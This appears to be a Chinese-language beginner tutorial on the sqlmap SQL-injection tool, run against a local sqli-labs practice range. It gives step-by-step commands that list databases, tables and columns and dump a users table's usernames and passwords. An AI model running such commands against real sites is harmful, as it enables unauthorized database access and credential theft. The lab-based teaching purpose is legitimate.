仅供学习参考!!!
SQL注入神器Sqlmap
Sqlmap
是一个使用
python
语言开发的开源的渗透测试工具,可以用来进行自动化检测,利用
SQL
注入 漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的 功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操 作系统命令。
sqlmap的使用
解压出来后,配置环境变量,可以在任何地方使用sqlmap
找到系统变量中的Path点击编辑将sqlmap的路径添加上去即可
进入命令行界面
输入sqlmap.py即可运行
启动靶场复制url
查询数据库名
sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs
-u 指定url
--dbs 获取数据库名
可以看到执行完命令会自动查询数据库名
查询表名
查询security的表名
sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables
-D 代表数据库后面跟数据库名
--tables 代表要查询所有表名
查字段
sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
-T 代表表,后面跟表名
--columns 代表要查询字段
查字段记录
sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C id,username,password --dump
--dump
:拖库,意思是将数据库的记录显示出来
其他更多用法参考下面
中文手册:
https://github.com/kvko/sqlmap-wiki-zhcn/releases
常见用法:
https://blog.csdn.net/wn314/article/details/78872828